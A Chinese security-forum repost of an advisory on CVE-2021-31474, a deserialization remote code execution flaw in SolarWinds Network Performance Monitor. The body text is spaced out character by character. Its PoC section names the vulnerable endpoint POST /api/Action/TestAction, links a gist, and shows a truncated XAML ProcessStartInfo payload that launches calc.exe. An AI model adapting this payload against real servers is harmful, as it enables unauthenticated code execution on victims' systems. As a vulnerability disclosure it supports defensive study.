搜索

[20609] 2021-05-31_SolarWindsNPM远程代码执行漏洞（CVE-2021-31474）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-05-31_SolarWindsNPM远程代码执行漏洞（CVE-2021-31474） S o l a r W i n d s   N P M 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 1 - 3 1 4 7 4 ） K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 5 - 3 1 S o l a r W i n d s   N e t w o r k   P e r f o r m a n c e   M o n i t o r （ N P M ） 是 集 网 络 监 测 、 设 备 性 能 维 护 管 理 、 故 障 监 控 、 网 络 实 时 流 量 监 控 和 历 史 数 据 统 计 、 汇 总 和 历 史 数 据 分 析 等 功 能 于 一 体 的 网 络 管 理 系 统 。 该 漏 洞 存 在 于 S o l a r W i n d s . S e r i a l i z a t i o n 库 中 ， 由 于 对 用 户 提 供 的 数 据 缺 乏 正 确 验 证 ， 导 致 不 信 任 数 据 的 反 序 列 化 。 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 系 统 上 下 文 中 执 行 任 意 代 码 ， 而 无 需 经 过 身 份 验 证 。 影 响 范 围 影 响 范 围 S o l a r W i n d s   N e t w o r k   P e r f o r m a n c e   M o n i t o r   2 0 2 0 . 2 . 1 P o c ： P O S T     / a p i / A c t i o n / T e s t A c t i o n   P o c 2 ： h t t p s : / / g i s t . g i t h u b . c o m / t e s t a n u l l / d c b 5 3 6 b 4 0 9 a 2 8 d 7 4 4 3 0 a 4 4 1 d 5 3 b 1 4 4 5 6 < s d : P r o c e s s S t a r t I n f o   A r g u m e n t s = " / c   c a l c . e x e "   S t a n d a r d E r r o r E n c o d i n g = " { x : N u l l } "   S t a n d a r d O u t p u t E n c o d i n g = " { x : N u l l   } "   U s e r N a m e = " "   P a s s w o r d = " { x : N u l l } "   D o m a i n = " "   L o a d U s e r P r o f i l e = " F a l s e "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理